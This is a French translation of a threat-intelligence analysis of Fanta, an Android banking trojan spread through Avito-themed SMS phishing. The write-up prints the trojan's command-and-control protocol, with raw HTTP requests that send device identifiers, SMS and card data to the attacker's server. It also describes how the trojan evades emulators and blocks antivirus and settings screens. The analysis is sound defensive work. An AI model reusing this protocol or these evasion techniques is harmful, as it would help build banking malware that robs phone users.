
Un jour, vous souhaiterez vendre quelque chose sur Avito et, aprÚs avoir publié une description détaillée de votre produit (comme une barrette de RAM), vous recevrez le message suivant :
En ouvrant le lien, vous découvrirez une page apparemment inoffensive, vous informant, vous, le vendeur heureux et réussi, de l'achat effectué :

AprĂšs avoir cliquĂ© sur le bouton « Continuer », un fichier APK sera tĂ©lĂ©chargĂ© sur votre appareil Android, avec une icĂŽne et un nom qui inspirent confiance. Vous avez installĂ© une application qui, pour une raison quelconque, a demandĂ© des droits AccessibilityService, puis quelques fenĂȘtres sont apparues et ont disparu rapidement, et... c'est tout.
Vous vous connectez pour vĂ©rifier votre solde, mais votre application bancaire demande Ă nouveau les donnĂ©es de votre carte. AprĂšs avoir saisi les informations, une chose horrible se produit : pour une raison qui vous Ă©chappe encore, de l'argent commence Ă disparaĂźtre de votre compte. Vous essayez de rĂ©soudre le problĂšme, mais votre tĂ©lĂ©phone rĂ©siste : il appuie tout seul sur les touches « Retour » et « Accueil », ne s'Ă©teint pas et ne vous permet pas d'activer des mesures de protection. Au final, vous vous retrouvez sans argent, votre produit n'est pas achetĂ©, vous ĂȘtes dans le flou et vous vous demandez : que s'est-il passĂ© ?
La rĂ©ponse est simple : vous ĂȘtes devenu la victime d'un cheval de Troie Android, Fanta, de la famille Flexnet. Comment cela a-t-il pu arriver ? Nous allons maintenant vous l'expliquer.
Auteurs : Andrey Polovinkin, analyste junior en logiciels malveillants, Ivan Pisariev, expert en logiciels malveillants.
Un peu de statistiques
La famille de chevaux de Troie Android Flexnet a Ă©tĂ© signalĂ©e pour la premiĂšre fois en 2015. Ă travers une pĂ©riode d'activitĂ© assez longue, la famille s'est Ă©largie pour inclure plusieurs sous-types : Fanta, Limebot, Lipton, etc. Le cheval de Troie, tout comme son infrastructure associĂ©e, ne reste pas immobile : de nouveaux schĂ©mas de distribution efficaces sont en cours de dĂ©veloppement â dans notre cas, des pages de phishing de haute qualitĂ©, ciblant des utilisateurs-vendeurs spĂ©cifiques, et les dĂ©veloppeurs du cheval de Troie suivent les tendances actuelles de la programmation malveillante â en ajoutant de nouvelles fonctionnalitĂ©s permettant de voler plus efficacement de l'argent Ă partir d'appareils infectĂ©s et de contourner les mĂ©canismes de protection.
La campagne décrite dans cet article cible les utilisateurs en Russie, un petit nombre d'appareils infectés ayant été détectés en Ukraine, encore moins au Kazakhstan et en Biélorussie.
Bien que Flexnet soit sur la scĂšne des chevaux de Troie Android depuis plus de 4 ans et ait Ă©tĂ© minutieusement Ă©tudiĂ© par de nombreux chercheurs, il se porte toujours bien. Depuis janvier 2019, le montant potentiel des dommages s'Ă©lĂšve Ă plus de 35 millions de roubles - et cela concerne uniquement les campagnes en Russie. En 2015, diffĂ©rentes versions de ce cheval de Troie Android Ă©taient vendues sur des forums underground, oĂč l'on pouvait Ă©galement trouver le code source du trojan avec des descriptions dĂ©taillĂ©es. Cela signifie que les statistiques de dommages dans le monde sont encore plus impressionnantes. Pas mal pour un vieux briscard, n'est-ce pas ?

De la vente Ă la fraude
Comme le montre la capture d'Ă©cran de la page de phishing pour le service en ligne Avito, elle Ă©tait prĂ©parĂ©e pour une victime spĂ©cifique. Apparemment, les malfaiteurs utilisent un des parseurs d'Avito, qui extrait le numĂ©ro de tĂ©lĂ©phone et le nom du vendeur, ainsi que la description du produit. AprĂšs le dĂ©ploiement de la page et la prĂ©paration du fichier APK, un SMS est envoyĂ© Ă la victime avec son nom et un lien vers la page de phishing, contenant la description de son produit et les montants reçus de la âventeâ du produit. En cliquant sur le bouton, l'utilisateur reçoit un fichier APK malveillant - Fanta.
L'analyse du domaine shcet491[.]ru a montré qu'il était délégué à des serveurs DNS de la société Hostinger :
- ns1.hostinger.ru
- ns2.hostinger.ru
- ns3.hostinger.ru
- ns4.hostinger.ru
Le fichier de zone du domaine contient des enregistrements indiquant adresses IP 31.220.23[.]236, 31.220.23[.]243 et 31.220.23[.]235. Cependant, l'enregistrement de ressources principal du domaine (enregistrement A) pointe vers un serveur avec l'adresse IP 178.132.1[.]240.
L'adresse IP 178.132.1[.]240 est située aux Pays-Bas et appartient à l'hébergeur WorldStream. Les adresses IP 31.220.23[.]235, 31.220.23[.]236 et 31.220.23[.]243 sont situées au Royaume-Uni et appartiennent au serveur d'hébergement virtuel HOSTINGER. Le registrar utilisé est openprov-ru. De plus, les domaines suivants ont été résolus sur l'adresse IP 178.132.1[.]240 :
- sdelka-ru[.]ru
- tovar-av[.]ru
- av-tovar[.]ru
- ru-sdelka[.]ru
- shcet382[.]ru
- sdelka221[.]ru
- sdelka211[.]ru
- vyplata437[.]ru
- viplata291[.]ru
- perevod273[.]ru
- perevod901[.]ru
Il convient de noter que presque tous les domaines proposaient des liens au format suivant :
http://(www.){0,1}<%domain%>/[0-9]{7}
Ce modĂšle s'applique Ă©galement au lien dans le SMS. Des donnĂ©es historiques ont montrĂ© qu'un seul domaine correspond Ă plusieurs liens selon le modĂšle dĂ©crit ci-dessus, ce qui tĂ©moigne de l'utilisation d'un mĂȘme domaine pour rĂ©pandre le trojan Ă plusieurs victimes.
Allons un peu plus loin : en tant que serveur de contrĂŽle, le cheval de Troie tĂ©lĂ©chargĂ© via le lien SMS utilise l'adresse onuseseddohap[.]club. Ce domaine a Ă©tĂ© enregistrĂ© le 12 mars 2019, et depuis le 29 avril 2019, des applications APK ont interagi avec ce domaine. D'aprĂšs les donnĂ©es obtenues de VirusTotal, un total de 109 applications ont interagi avec ce serveur. Le domaine Ă©tait rĂ©solu Ă l'adresse IP 217.23.14[.]27, situĂ©e aux Pays-Bas et appartenant Ă un hĂ©bergeur WorldStream. Le registraire utilisĂ© est namecheap. Ă cette adresse IP, d'autres domaines ont Ă©galement Ă©tĂ© rĂ©solus bad-racoon[.]club (depuis le 25 septembre 2018) et bad-racoon[.]live (depuis le 25 octobre 2018). Plus de 80 fichiers APK ont interagi avec le domaine bad-racoon[.]club , et bad-racoon[.]live â plus de 100.
Dans l'ensemble, le déroulement de l'attaque est le suivant :

Que cache Fanta ?
Comme de nombreux autres chevaux de Troie Android, Fanta est capable de lire et d'envoyer des SMS, de faire des requĂȘtes USSD, et d'afficher ses propres fenĂȘtres au-dessus des applications (y compris des applications bancaires). Cependant, l'ensemble des capacitĂ©s fonctionnelles de cette famille a Ă©tĂ© Ă©largi : Fanta a commencĂ© Ă utiliser AccessibilityService Ă diverses fins : lire le contenu des notifications d'autres applications, empĂȘcher la dĂ©tection et l'arrĂȘt de l'exĂ©cution du cheval de Troie sur le dispositif infectĂ©, etc. Fanta fonctionne sur toutes les versions d'Android Ă partir de 4.4. Dans cet article, nous examinerons plus en dĂ©tail l'exemple suivant de Fanta :
- MD5: 0826bd11b2c130c4c8ac137e395ac2d4
- SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
- SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb
Immédiatement aprÚs le lancement
DÚs le lancement, le cheval de Troie cache son icÎne. L'application ne fonctionne que si le nom de l'appareil infecté ne figure pas dans la liste :
- android_x86
- VirtualBox
- Nexus 5X(bullhead)
- Nexus 5(razor)
Cette vĂ©rification est effectuĂ©e dans le service principal du cheval de Troie â MainService. Lors du premier lancement, les paramĂštres de configuration de l'application sont initialisĂ©s avec des valeurs par dĂ©faut (le format de stockage des donnĂ©es de configuration et leur signification seront expliquĂ©s plus tard), ainsi qu'un enregistrement du nouvel appareil infectĂ© sur le serveur de contrĂŽle. Une requĂȘte HTTP POST sera envoyĂ©e au serveur avec un type de message register_bot et des informations sur l'appareil infectĂ© (version Android, IMEI, numĂ©ro de tĂ©lĂ©phone, nom de l'opĂ©rateur et code du pays dans lequel l'opĂ©rateur est enregistrĂ©). L'adresse sert de serveur de contrĂŽle hXXp://onuseseddohap[.]club/controller.php. En rĂ©ponse, le serveur envoie un message contenant des champs bot_id, bot_pwd, serveur â ces valeurs sont enregistrĂ©es par l'application en tant que paramĂštres du serveur CnC. Le paramĂštre serveur est facultatif si le champ n'a pas Ă©tĂ© reçu : Fanta utilise l'adresse d'enregistrement â hXXp://onuseseddohap[.]club/controller.php. La fonction de changement de l'adresse CnC peut ĂȘtre appliquĂ©e pour rĂ©soudre deux problĂšmes : l'Ă©quilibrage de la charge entre plusieurs serveurs (en cas de nombreux appareils infectĂ©s, la charge sur un serveur web non optimisĂ© peut ĂȘtre Ă©levĂ©e), ainsi que pour utiliser un serveur alternatif en cas de dĂ©faillance de l'un des serveurs CnC.
Si une erreur se produit lors de l'envoi de la demande, le cheval de Troie répétera le processus d'enregistrement dans 20 secondes.
AprÚs l'enregistrement réussi de l'appareil, Fanta affichera le message suivant à l'utilisateur :

Remarque importante : le service appelĂ© SĂ©curitĂ© du systĂšme â il s'agit du nom du service du cheval de Troie, et aprĂšs avoir cliquĂ© sur le bouton OK une fenĂȘtre s'ouvrira avec les paramĂštres d'accessibilitĂ© de l'appareil infectĂ©, oĂč l'utilisateur doit lui-mĂȘme accorder les droits d'accessibilitĂ© au service malveillant :

DĂšs que l'utilisateur active AccessibilityService, Fanta obtient l'accĂšs au contenu des fenĂȘtres des applications et aux actions effectuĂ©es dans celles-ci :

Immédiatement aprÚs avoir reçu les droits d'accessibilité, le cheval de Troie demande les droits d'administrateur et les droits de lecture des notifications :

à l'aide d'AccessibilityService, l'application simule des frappes sur les touches, s'octroyant ainsi tous les droits nécessaires.
Fanta crée plusieurs instances de bases de données (qui seront décrites plus tard), nécessaires pour sauvegarder les données de configuration ainsi que les informations collectées au cours du processus sur l'appareil infecté. Pour envoyer les informations collectées, le cheval de Troie crée une tùche répétée destinée à extraire les champs de la base de données et à recevoir une commande du serveur de contrÎle. L'intervalle d'accÚs au CnC est défini en fonction de la version d'Android : dans le cas de 5.1, l'intervalle sera de 10 secondes, sinon 60 secondes.
Pour recevoir une commande, Fanta effectue une requĂȘte GetTask au serveur de contrĂŽle. En rĂ©ponse, le CnC peut envoyer l'une des commandes suivantes :
| Commande | Description |
|---|---|
| 0 | Envoyer un SMS |
| 1 | Passer un appel téléphonique ou exécuter une commande USSD |
| 2 | Mettre Ă jour le paramĂštre interval |
| 3 | Mettre Ă jour le paramĂštre intercept |
| 6 | Mettre Ă jour le paramĂštre smsManager |
| 9 | Commencer Ă collecter des SMS |
| 11 | Réinitialiser le téléphone aux paramÚtres d'usine |
| 12 | Activation/DĂ©sactivation de la journalisation de la crĂ©ation de fenĂȘtres de dialogue |
Fanta collecte également des notifications de 70 applications bancaires, de systÚmes de paiement rapides et de portefeuilles électroniques, et les stocke dans une base de données.
Stockage des paramĂštres de configuration
Pour le stockage des paramĂštres de configuration, Fanta utilise l'approche standard pour la plateforme Android â Preferences-fichiers. Les paramĂštres seront enregistrĂ©s dans un fichier nommĂ© settings. La description des paramĂštres enregistrĂ©s se trouve dans le tableau ci-dessous.
| Nom | Valeur par défaut | Valeurs possibles | Description |
|---|---|---|---|
| id | 0 | Entier | Identifiant du bot |
| serveur | hXXp://onuseseddohap[.]club/ | URL | Adresse du serveur de contrĂŽle |
| pwd | â | ChaĂźne | Mot de passe pour le serveur |
| interval | 20 | Entier | Intervalle de temps. Indique de combien de temps il faut retarder l'exécution des tùches suivantes :
|
| intercept | tout | all/telNumber | Si le champ est égal à la chaßne tout ou telNumber, alors le message SMS reçu sera intercepté par l'application et ne sera pas affiché à l'utilisateur |
| smsManager | 0 | 0/1 | Activation/Désactivation de l'application en tant que destinataire par défaut des SMS |
| readDialog | faux | Vrai/Faux | Activation/Désactivation de la journalisation des événements AccessibilityEvent |
Fanta utilise également le fichier smsManager:
| Nom | Valeur par défaut | Valeurs possibles | Description |
|---|---|---|---|
| pckg | â | ChaĂźne | Nom du gestionnaire de SMS utilisĂ© |
Interaction avec les bases de données
Dans le cadre de son fonctionnement, le cheval de Troie utilise deux bases de donnĂ©es. La base de donnĂ©es nommĂ©e a est utilisĂ©e pour stocker diverses informations collectĂ©es depuis le tĂ©lĂ©phone. La deuxiĂšme base de donnĂ©es est nommĂ©e fanta.db et est utilisĂ©e pour enregistrer les paramĂštres relatifs Ă la crĂ©ation de fenĂȘtres de phishing destinĂ©es Ă collecter des informations sur les cartes bancaires.
Le cheval de Troie utilise la base de donnĂ©es plus pour stocker les informations collectĂ©es et pour enregistrer ses actions. Les donnĂ©es sont stockĂ©es dans le tableau logs. Pour crĂ©er le tableau, la requĂȘte SQL suivante est utilisĂ©e :
create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)La base de données contient les informations suivantes :
1. Journalisation de l'activation de l'appareil infecté avec le message Le téléphone a été allumé !
2. Notifications provenant d'applications. Le message est formé selon le modÚle suivant :
(<%Nom App%>)<%Titre%>: <%Texte de la notification%>
3. DonnĂ©es des cartes bancaires issues des formulaires de phishing créés par le cheval de Troie. Le paramĂštre VIEW_NAME peut ĂȘtre l'un des Ă©lĂ©ments de la liste :
- AliExpress
- Avito
- Google Play
- Divers <%Nom App%>
Le message est enregistré au format :
[] () Numéro de la carte : ; Date : / ; CVV :
4. Messages SMS entrants/sortants au format :
() Type : Entrant/Sortant :
5. Informations sur le paquet créant la boßte de dialogue au format :
()
Exemple de tableau logs:

L'une des fonctionnalitĂ©s de Fanta est la collecte d'informations sur les cartes bancaires. La collecte des donnĂ©es se fait grĂące Ă la crĂ©ation de fenĂȘtres de phishing lors de l'ouverture d'applications bancaires. Le Trojan crĂ©e une fenĂȘtre de phishing une seule fois. Les informations concernant l'affichage de la fenĂȘtre Ă l'utilisateur sont enregistrĂ©es dans le tableau settings dans la base de donnĂ©es fanta.db. Pour crĂ©er la base de donnĂ©es, la requĂȘte SQL suivante est utilisĂ©e :
create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);Tous les champs du tableau settings sont initialisĂ©s par dĂ©faut avec la valeur 1 (crĂ©er une fenĂȘtre de phishing). AprĂšs que l'utilisateur a entrĂ© ses donnĂ©es, la valeur sera fixĂ©e Ă 0. Exemple des champs du tableau settings:
- can_login â le champ rĂ©pond Ă l'affichage du formulaire lors de l'ouverture de l'application bancaire
- first_bank â non utilisĂ©
- can_avito â le champ rĂ©pond Ă l'affichage du formulaire lors de l'ouverture de l'application Avito
- can_ali â le champ rĂ©pond Ă l'affichage du formulaire lors de l'ouverture de l'application Aliexpress
- can_another â le champ rĂ©pond Ă l'affichage du formulaire lors de l'ouverture de toute application figurant dans la liste : Youla, Pandao, Drom Auto, Wallet. Cartes de rĂ©duction et de bonus, Aviasales, Booking, Trivago
- can_card â le champ rĂ©pond Ă l'affichage du formulaire lors de l'ouverture de Google Play
Interaction avec le serveur de gestion
L'interaction rĂ©seau avec le serveur de gestion se fait via le protocole HTTP. Pour travailler avec le rĂ©seau, Fanta utilise la bibliothĂšque populaire Retrofit. Les requĂȘtes sont envoyĂ©es Ă l'adresse hXXp://onuseseddohap[.]club/controller.php. L'adresse du serveur peut ĂȘtre modifiĂ©e lors de l'enregistrement sur le serveur. Des cookies peuvent ĂȘtre reçus en rĂ©ponse du serveur. Fanta effectue les requĂȘtes suivantes au serveur :
- L'enregistrement du bot sur le serveur de gestion se fait une fois au premier démarrage. Les données sur le dispositif infecté envoyées au serveur comprennent :
· Cookie â cookies reçus du serveur (valeur par dĂ©faut â chaĂźne vide)
· mode â constante de chaĂźne register_bot
· prefix â constante entiĂšre 2
· version_sdk â se forme selon le modĂšle suivant : /(Avit)
· imei â IMEI du dispositif infectĂ©
· pays â code du pays dans lequel l'opĂ©rateur est enregistrĂ©, au format ISO
· number â numĂ©ro de tĂ©lĂ©phone
· opĂ©rateur â nom de l'opĂ©rateurExemple de requĂȘte envoyĂ©e au serveur :
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Content-Length: 144 Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>En rĂ©ponse Ă la requĂȘte, le serveur doit retourner un objet JSON contenant les paramĂštres suivants :
· bot_id â identifiant de l'appareil infectĂ©. Si le bot_id est Ă©gal Ă 0, Fanta rĂ©pĂ©tera la requĂȘte.
· bot_pwd â mot de passe pour le serveur.
· serveur â adresse du serveur de contrĂŽle. ParamĂštre facultatif. Si ce paramĂštre n'est pas spĂ©cifiĂ©, l'adresse enregistrĂ©e dans l'application sera utilisĂ©e.Exemple d'objet JSON :
{ "response":[ { "bot_id": <%BOT_ID%>, "bot_pwd": <%BOT_PWD%>, "server": <%SERVER%> } ], "status":"ok" }
- RequĂȘte pour obtenir une commande du serveur. Les donnĂ©es suivantes sont envoyĂ©es au serveur :
· Cookie â cookies reçus du serveur
· bid â id de l'appareil infectĂ©, obtenu lors de l'envoi de la requĂȘte register_bot
· pwd â mot de passe pour le serveur
· divice_admin â champ dĂ©finissant si les droits administratifs ont Ă©tĂ© obtenus. Si les droits administratifs ont Ă©tĂ© obtenus, le champ est Ă©gal Ă 1, sinon 0
· AccessibilitĂ© â statut de fonctionnement du service d'accessibilitĂ©. Si le service a Ă©tĂ© lancĂ©, la valeur est Ă©gale Ă 1, sinon 0
· SMSManager â indique si le malware est configurĂ© comme application par dĂ©faut pour recevoir des SMS
· screen â affiche l'Ă©tat de l'Ă©cran. Une valeur sera dĂ©finie 1, si l'Ă©cran est allumĂ©, sinon 0;Exemple de requĂȘte envoyĂ©e au serveur :
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=getTask&bid=&pwd=&divice_admin=&Accessibility=&SMSManager=&screen=Selon la commande, le serveur peut retourner un objet JSON avec différents paramÚtres :
· Commande Envoyer un SMS: Les paramÚtres contiennent le numéro de téléphone, le texte du message SMS et l'identifiant du message envoyé. L'identifiant est utilisé lors de l'envoi du message au serveur avec le type setSmsStatus.
{ "response": [ { "mode": 0, "sms_number": <%SMS_NUMBER%>, "sms_text": <%SMS_TEXT%>, "sms_id": %SMS_ID% } ], "status":"ok" }· Commande Passer un appel téléphonique ou exécuter une commande USSD: Le numéro de téléphone ou la commande arrivant dans le corps de la réponse.
{ "response": [ { "mode": 1, "command": <%TEL_NUMBER%> } ], "status":"ok" }· Commande Modifier le paramÚtre interval.
{ "response": [ { "mode": 2, "interval": } ], "status":"ok" }· Commande Modifier le paramÚtre d'interception.
{ "response": [ { "mode": 3, "intercept": "all"/"telNumber"/ } ], "status":"ok" }· Commande Modifier le champ SmsManager.
{ "response": [ { "mode": 6, "enable": 0/1 } ], "status":"ok" }· Commande Effectuer la collecte des SMS depuis un appareil infecté.
{ "response": [ { "mode": 9 } ], "status":"ok" }· Commande Réinitialiser le téléphone aux paramÚtres d'usine:
{ "response": [ { "mode": 11 } ], "status":"ok" }· Commande Modifier le paramÚtre ReadDialog.
{ "response": [ { "mode": 12, "enable": 0/1 } ], "status":"ok" }
- Envoyer un message de type setSmsStatus. Cette requĂȘte est effectuĂ©e aprĂšs l'exĂ©cution de la commande Envoyer un SMS. La requĂȘte apparaĂźt comme suit :
POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0
mode=setSmsStatus&id=/&status_sms=- Envoi du contenu de la base de donnĂ©es. Une seule ligne est transmise par requĂȘte. Les donnĂ©es suivantes sont envoyĂ©es au serveur :
· Cookie â cookies reçus du serveur
· mode â constante de chaĂźne setSaveInboxSms
· bid â id de l'appareil infectĂ©, obtenu lors de l'envoi de la requĂȘte register_bot
· text â texte dans l'enregistrement actuel de la base de donnĂ©es (champ d de la table logs dans la base de donnĂ©es plus)
· number â nom de l'enregistrement actuel de la base de donnĂ©es (champ p de la table logs dans la base de donnĂ©es plus)
· sms_mode â valeur entiĂšre (champ m de la table logs dans la base de donnĂ©es plus)La requĂȘte apparaĂźt comme suit :
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=setSaveInboxSms&bid=/&text=&number=&sms_mode=En cas d'envoi réussi au serveur, la ligne sera supprimée de la table. Exemple d'objet JSON renvoyé par le serveur :
{ "response":[], "status":"ok" }
Interaction avec AccessibilityService
AccessibilityService a Ă©tĂ© mis en Ćuvre pour faciliter l'utilisation des appareils Android par les personnes handicapĂ©es. Dans la plupart des cas, l'interaction avec l'application nĂ©cessite une interaction physique. AccessibilityService permet de le faire de maniĂšre programmatique. Fanta utilise ce service pour crĂ©er de fausses fenĂȘtres dans les applications bancaires et empĂȘcher l'accĂšs aux paramĂštres systĂšme et Ă certaines applications.
En utilisant les fonctionnalitĂ©s d'AccessibilityService, le cheval de Troie suit les changements d'Ă©lĂ©ments Ă l'Ă©cran de l'appareil infectĂ©. Comme dĂ©jĂ dĂ©crit, les paramĂštres de Fanta comprennent un paramĂštre qui enregistre les opĂ©rations effectuĂ©es sur les fenĂȘtres de dialogue â readDialog. Si ce paramĂštre est activĂ©, des informations concernant le nom et la description du paquet qui a initiĂ© l'Ă©vĂ©nement seront ajoutĂ©es Ă la base de donnĂ©es. Le cheval de Troie exĂ©cute les actions suivantes lors du dĂ©clenchement des Ă©vĂ©nements :
- Simule la pression des touches retour et accueil dans le cas oĂč :
· si l'utilisateur souhaite redémarrer son appareil
· si l'utilisateur souhaite désinstaller l'application 'Avito' ou modifier les autorisations
· si la page mentionne l'application 'Avito'
· lors de l'ouverture de l'application 'Google Play Protect'
· lors de l'ouverture des pages avec les paramÚtres AccessibilityService
· en cas d'apparition de la boßte de dialogue 'Sécurité du systÚme'
· lors de l'ouverture de la page avec les paramÚtres 'Draw over other app'
· lors de l'ouverture des pages 'Applications', 'Récupération et réinitialisation', 'Réinitialiser les données', 'Réinitialiser les paramÚtres', 'Panneau des développeurs', 'Accessibilité', 'Fonctionnalités spéciales', 'Droits spéciaux'
· si l'événement a été généré par certaines applications.Liste des applications
- android
- Master Lite
- Clean Master
- Clean Master pour CPU x86
- Gestion des autorisations des applications Meizu
- MIUI Security
- Clean Master â Antivirus & Nettoyage de cache et de fichiers indĂ©sirables
- ContrĂŽle parental et GPS : Kaspersky SafeKids
- Kaspersky Antivirus AppLock & Sécurité Web Beta
- Virus Cleaner, Antivirus, Cleaner (MAX Security)
- Mobile AntiVirus Security PRO
- Avast antivirus & protection gratuite 2019
- Mobile Security ĐĐ”ĐłĐ°Đ€ĐŸĐœ
- AVG Protection pour Xperia
- Sécurité Mobile
- Malwarebytes antivirus & protection
- Antivirus sur Android 2019
- Security Master â Antivirus, VPNAppLock, Booster
- AVG antivirus pour tablette Huawei System Manager
- Accessibilité Samsung
- Samsung Smart Manager
- Security Master
- Speed Booster
- Dr.Web
- Dr.Web Security Space
- Dr.Web Mobile Control Center
- Dr.Web Security Space Life
- Dr.Web Mobile Control Center
- Antivirus & Sécurité Mobile
- Kaspersky Internet Security : Antivirus et Protection
- Kaspersky Battery Life : Ăconomiseur & Booster
- Kaspersky Endpoint Security â protection et gestion
- AVG Antivirus gratuit 2019 â Protection pour Android
- Antivirus Android
- Norton Mobile Security and Antivirus
- Antivirus, pare-feu, VPN, sécurité mobile
- Sécurité Mobile : antivirus, VPN, protection contre le vol
- Antivirus pour Android
- Si, lors de l'envoi d'un SMS à un numéro court, une autorisation est demandée, Fanta simule un clic sur la case à cocher Se souvenir du choix et le bouton envoyer.
- Lors de l'essai de retirer les droits administrateur du trojan, l'écran du téléphone est bloqué.
- EmpĂȘche l'ajout de nouveaux administrateurs.
- Dans le cas oĂč l'application antivirus dr.web a dĂ©tectĂ© une menace, Fanta simule un clic sur le bouton ignorer.
- Le trojan simule un clic sur les boutons retour et accueil, si l'événement a été généré par l'application Samsung Device Care.
- Fanta crĂ©e des fenĂȘtres de phishing avec des formulaires pour saisir les informations des cartes bancaires, si une application de la liste, comprenant environ 30 diffĂ©rents services en ligne, a Ă©tĂ© lancĂ©e. Parmi eux : AliExpress, Booking, Avito, Composant Google Play Market, Pandao, Drom Auto, etc.
Formulaires de phishing
Fanta analyse quelles applications sont lancĂ©es sur l'appareil infectĂ©. Si une application d'intĂ©rĂȘt a Ă©tĂ© ouverte, le cheval de Troie affiche une fenĂȘtre de phishing au-dessus de toutes les autres, qui reprĂ©sente un formulaire pour saisir les informations de la carte bancaire. L'utilisateur doit entrer les donnĂ©es suivantes :
- Numéro de carte
- Date d'expiration de la carte
- CVV
- Nom du titulaire de la carte (non pour toutes les banques)
En fonction de l'application lancĂ©e, diffĂ©rentes fenĂȘtres de phishing seront prĂ©sentĂ©es. Voici quelques exemples :
Aliexpress :

Avito :
Pour certaines autres applications, par exemple Google Play Market, Aviasales, Pandao, Booking, Trivago :

Comment cela s'est réellement passé
Heureusement, la personne qui a reçu le SMS dĂ©crit au dĂ©but de l'article Ă©tait un spĂ©cialiste en cybersĂ©curitĂ©. Ainsi, la version rĂ©elle, non scĂ©narisĂ©e, diffĂšre de celle racontĂ©e auparavant : la personne a reçu un SMS intĂ©ressant, puis l'a remis Ă l'Ă©quipe Group-IB Threat Hunting Intelligence. Le rĂ©sultat de l'attaque â cet article. Une fin heureuse, n'est-ce pas ? Cependant, toutes les histoires ne se terminent pas aussi bien, et pour que la vĂŽtre ne ressemble pas Ă une version scĂ©narisĂ©e avec perte d'argent, dans la plupart des cas, il suffit de suivre les rĂšgles longtemps Ă©noncĂ©es suivantes :
- ne pas installer d'applications pour appareil mobile sous Android Ă partir de sources autres que Google Play
- en installant une application, prĂȘter une attention particuliĂšre aux autorisations requises par l'application
- faire attention aux extensions des fichiers téléchargés
- installer réguliÚrement les mises à jour du systÚme d'exploitation Android
- ne pas visiter des ressources suspectes et ne pas télécharger de fichiers depuis celles-ci
- ne pas cliquer sur les liens reçus dans les SMS.
Source : habr.com



